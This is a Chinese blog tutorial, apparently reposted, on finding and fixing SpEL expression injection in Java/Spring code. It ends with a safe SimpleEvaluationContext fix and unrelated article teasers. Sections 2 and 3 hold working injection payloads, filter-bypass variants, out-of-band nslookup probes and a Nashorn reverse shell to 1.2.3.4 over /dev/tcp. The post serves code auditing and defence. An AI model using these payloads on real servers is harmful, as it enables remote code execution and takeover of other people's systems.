【Java代码审计】SpEL表达式注入篇

【Java代码审计】SpEL表达式注入篇

  • 1.SpEL 介绍
  • 2.SpEL漏洞概述
  • 3.SpEL漏洞演示
  • 4.SpEL漏洞修复

1.SpEL 介绍

Spring 表达式语言是一种功能强大的表达式语言,用于在运行时查询和操作对象视图,语法上类似于 Unified EL,但提供了更多的特性, 特别是方法调用和基本字符串模板函数

1、使用量表达式

在 SpEL 表达式中,我们可以直接使用量表达式:

// 将 "Hello World" 字符串硬编码为一个表达式
"#{'Hello World'}"

2、使用 java 代码 new/instance of

Expression exp = parser.parseExpression("new Spring('Hello World')");

3、使用 T(Type)

SpEL 中可以使用 T()操作符声明特定的 Java 类型,一般用来访问 Java 类型中的静态属性或静态方法。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的 是,SpEL 内置了 java.lang 包下的类声明,也就是说,java.lang.String 可以通过 T(String) 访问,而不需要使用全限定名

parser.parseExpression("T(Integer).MAX_VALUE");

因此,我们通过 T()调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。同样的,SpEL 也可以对类进行实例化,使用 new 可以直接在SpEL 中创建实例,创建实例的类要通过全限定名进行访问:

// 创建一个 SpEL 表达式解析器
ExpressionParser parser = new SpelExpressionParser();

// 定义一个 SpEL 表达式,用于创建新的 java.util.Date 对象
Expression exp = parser.parseExpression("new java.util.Date()");

// 使用表达式求值,获取新创建的 Date 对象
Date value = (Date) exp.getValue();

// 输出新创建的 Date 对象
System.out.println(value);

产生 SpEL 表达式注入漏洞的大前提是存在 SpEL 的相关库,因此我们在审计时可以针对这些库进行搜索,并跟踪器参数是否可控。根据常用的库,可以总结出以下常见关键字:

org.springframework.expression.spel.standard
SpelExpressionParser
parseExpression
expression.getValue()
expression.setValue()

2.SpEL漏洞概述

Spring 为解析 SpEL 提供了两套不同的接口,分别是“SimpleEvaluationContext”及“StandardEvaluationContextSimpleEvaluationContext接口仅支持 SpEL 语法的子集,抛弃了 Java 类型引用、构造函数及 beam 引用,相对较为安全。而StandardEvaluationContext则包含了 SpEL 的所有功能,并且在不指定EvaluationContext的情况下,将默认采用StandardEvaluationContext

产生 SpEL 表达式注入漏洞的另一个主要原因是,很大一部分开发人员未对用户输入进行处理就直接通过解析引擎对 SpEL 继续解析。一旦用户能够控制解析的 SpEL 语句, 便可通过反射的方式构造代码执行的 SpEL 语句,从而达到 RCE 的目的

SpEL 漏洞的危害有:任意代码执行、获取SHELL、对服务器进行破坏等

一般来讲,在测试 SpEL 表达式注入漏洞时,我们可以通过插入以下 POC 来检测是否存在 SpEL 表达式注入漏洞:

${255*255}
T(Thread).sleep(10000)
T(java.lang.Runtime).getRuntime().exec('command')
T(java.lang.Runtime).getRuntime().exec("nslookup xxx.com")
new java.lang.ProcessBuilder("command").start()
new java.lang.ProcessBuilder({'nslookup xxx.com'}).start()
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup xxx.com')

在 SpEL 表达式注入漏洞的实际利用中,会存在一个十分常见的情况:网站存在黑名单校验。此时攻击者需要通过各种方法绕过黑名单的关键词检测或语义检测。对于常见的基于正则的黑名单匹配绕过是相对简单的,可利用以下两种方法构造 Payload:

1、利用反射与拆分关键字构造 Payload

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","command"})}

2、利用 ScriptEngineManager 构造 Payload

#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/5678;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}

3.SpEL漏洞演示

漏洞代码:

public String vul1(String ex) {
    ExpressionParser parser = new SpelExpressionParser();

    // StandardEvaluationContext权限过大,可以执行任意代码,默认使用可以不指定
    EvaluationContext evaluationContext = new StandardEvaluationContext();
    Expression exp = parser.parseExpression(ex);

    String result = exp.getValue(evaluationContext).toString();
    log.info("[vul] SpEL");
    return result;
}

此时我们传入恶意的payload打开本地计算器:

T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

成功RCE:

在这里插入图片描述


4.SpEL漏洞修复

因 SpEL 默认情况下采用 StandardEvaluationContext 模式,允许其进行类型引用、构造函数等操作,这导致 SpEL 漏洞可以进行任意代码执行等危险操作。为了修复 SpEL 这类漏洞, Spring 官方推出了 SimpleEvaluationContext 作为安全类来进行防御,SimpleEvaluationContext 支持 SpEL 语法的子集,抛弃了 Java 类型引用、构造函数及beam 引用

public String spelSafe(String ex) {
    // SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用
    ExpressionParser parser = new SpelExpressionParser();
    EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    Expression exp = parser.parseExpression(ex);
    String result = exp.getValue(simpleContext).toString();
    log.info("[safe] SpEL");
    return result;
}

再次触发恶意payload,报错:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/510219.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Flutter应用在苹果商店上架前的准备工作与注意事项

引言 &#x1f680; Flutter作为一种跨平台的移动应用程序开发框架&#xff0c;为开发者提供了便利&#xff0c;使他们能够通过单一的代码库构建出高性能、高保真度的应用程序&#xff0c;同时支持Android和iOS两个平台。然而&#xff0c;完成Flutter应用程序的开发只是第一步…

【Servlet】继承关系以及service方法

文章目录 一、继承关系二、相关方法 一、继承关系 Servlet接口下有一个GenericServlet抽象类。在GenericServlet下有一个子类HttpServlet&#xff0c;它是基于http协议。 继承关系 javax.servlet.Servlet接口​ javax.GenericServlet抽象类​ javax.servlet.http.HttpServ…

毕马威:《智慧之眼:开启汽车感知新时代》

在全球科技飞速发展和产业革新的大潮中&#xff0c;汽车产业正在以前所未有的速度向网联化、智能化的方向转型。汽车传感器作为智能联网汽车发展的关键环节之一&#xff0c;扮演着举足轻重的角色。 毕马威一直关注汽车产业的变化与发展&#xff0c;为了更好地为汽车行业赋能&a…

python 哔哩哔哩视频去水印

使用python 去除视频中的水印 1. 需要安装的包 pip install moviepy pip install numpy pip install opencv_python pip install tqdm 2. 代码 import cv2 import numpy as np import glob from moviepy.editor import VideoFileClip import os from tqdm import tqdm# 判…

第九届全国大学生GIS应用技能大赛试题答案及数据下载(下午)

一、案例背景 我们现在是江苏省城市研究科研项目组的一员&#xff0c;我们分配到了以下任务&#xff1a; **任务一&#xff1a;**创建三甲医院 20 分钟、45 分钟服务区&#xff0c;并计算每一个地级市/县级市拥有的三甲医院 20 钟、45 分钟服务区占全市面积百分比。 **任务二&a…

ERROR: No matching distribution found for sklearn.cross_validation

问题 ERROR: Could not find a version that satisfies the requirement sklearn.cross_validation (from versions: none) ERROR: No matching distribution found for sklearn.cross_validation 错误:找不到满足sklearn要求的版本。Cross_validation (from versions: none)…

Nginx开发实战三:替换请求资源中的固定数据

文章目录 1.效果预览2.下载Nginx解压并初始化3.字符串替换模块安装4.修改nginx配置文件并重启 1.效果预览 页面初始效果 页面替换后效果 说明:页面是内网的一个地址&#xff0c;我们通过nginx可以很便捷的将其改为外网访问&#xff0c;但是在外网访问这个地址后&#xff0c…

算法之美:二叉堆原理剖析及堆应用案例讲解及实现

什么是堆 堆(Heap)是计算机科学中一类特殊的数据结构&#xff0c;通常是一个可以被看做一棵完全二叉树的数组对象。 完全二叉树 只有最下面两层节点的度可以小于2&#xff0c;并且最下层的叶节点集中在靠左连续的边界&#xff0c;只允许最后一层有空缺结点且空缺在右边&#x…

工艺品wordpress外贸主题

工艺品wordpress外贸主题 简约大气的wordpress外贸主题&#xff0c;适合做工艺品进出品外贸的公司官网使用。 https://www.jianzhanpress.com/?p5377

记一次 pdfplumber 内存泄漏导致的服务器宕机

有一个项目需求&#xff0c;要在每天凌晨5点的时候执行一个任务&#xff0c;获取一系列的PDF文件并解析。 后端是Django框架&#xff0c;定时任务用Celery来实现的。 本地跑没什么问题&#xff0c;但是一放到服务器上跑就会宕机&#xff0c;而且是毫无征兆的宕机&#xff0c;…

前端学习<二>CSS基础——17-CSS3的常见边框汇总

CSS3 常见边框汇总 <!DOCTYPE html><html lang"en"><head><meta charset"UTF-8"><title>CSS3 边框</title><style>body, ul, li, dl, dt, dd, h1, h2, h3, h4, h5 {margin: 0;padding: 0;}​body {background-c…

erp系统开发报价:企业如何选择一套合适的智能erp管理系统-亿发

在选择ERP系统时&#xff0c;企业通常希望了解上一套系统到底需要多少资金&#xff0c;但实际上这个问题并没有一个明确的答案。一般的erp系统从几万到几百万不等&#xff0c;一些简单的erp系统甚至只需要几千元。ERP系统的价格取决于多种因素&#xff0c;包括企业的业务规模、…

Linux多进程通信(1)——无名管道及有名管道使用例程

管道是半双工通信&#xff0c;如果需要 双向通信&#xff0c;则需要建立两个管道&#xff0c; 无名管道&#xff1a;只能父子进程间通信&#xff0c;且是非永久性管道通信结构&#xff0c;当它访问的进程全部终止时&#xff0c;管道也随之被撤销 有名管道&#xff1a;进程间不需…

【算法刷题day14】二叉树理论基础、递归遍历、迭代遍历、统一迭代

二叉树理论基础 题目分类 二叉树的种类 无数值两种&#xff1a;满二叉树 和 完全二叉树 有数值&#xff1a;二叉搜索树 1.若它的左子树不空&#xff0c;则左子树上所有结点的值均小于它的根结点的值; 2.若它的右子树不空&#xff0c;则右子树上所有结点的值均大于它的根结点…

Python快速入门系列-6(Python高级特性)

第六章: Python高级特性 6.1 列表推导式与生成器6.1.1 列表推导式6.1.2 生成器6.1.2.1 生成器表达式6.1.2.2 生成器函数6.2 装饰器与迭代器6.2.1 装饰器6.2.2 迭代器6.3 异常处理与错误调试6.3.1 异常处理6.3.1.1 try-except语句6.3.1.2 try-except-else语句6.3.2 错误调试6.3…

恶劣条件下GNSS定位的鲁棒统计

全球导航卫星系统&#xff08;GNSS&#xff09;作为定位信息的主要来源&#xff0c;在智慧工厂、智慧能源、智慧交通的未来应用中发挥着重要作用。此外&#xff0c;GNSS为电网或股市等关键应用提供定时同步功能。然而&#xff0c;GNSS的性能很容易因自然现象和信号反射而降低。…

AI技术创业有哪些机会?

AI技术创业有哪些机会&#xff1f; 人工智能&#xff08;AI&#xff09;技术作为当今科技创新的前沿领域&#xff0c;为创业者提供了广阔的机会和挑战。随着AI技术的快速发展和应用领域的不断拓展&#xff0c;未来AI技术方面会有哪些创业机会呢&#xff1f; 创什么业打工才是…

Fluentd介绍

1.什么是Fluentd Fluentd是一个开源的日志收集和分发系统&#xff0c;它能够从多种数据源采集日志信息&#xff0c;并对日志进行过滤、加工处理后发送到不同的存储和处理系统。 以下是关于Fluentd的一些关键信息&#xff1a; 基本概念&#xff1a;Fluentd被设计为一个高性能…

RPA机器人如何支持滑块验证码?泽众RPA如何轻松解决?

为了提高软件的安全性&#xff0c;很多系统&#xff0c;包括web系统和手机上的应用&#xff0c;越来越多的使用验证码来提升系统的安全性&#xff0c;防止非法访问&#xff0c;特别是防止机器人的访问。 如上图所示&#xff0c;就是最近比较常用的“滑块验证码”。它要求用户“…

广告业务知识-数据

最近做了些广告业务&#xff0c;梳理下&#xff0c;分广告术语、业务架构、数据架构三篇。以效果广告为例&#xff0c;下面是数据篇&#xff08;图片做了脱敏处理哈&#xff09;&#xff1a; 1.效果广告实体关系 2.广告数据大图 2.1数据模块大图 2.2 详细核心数据大图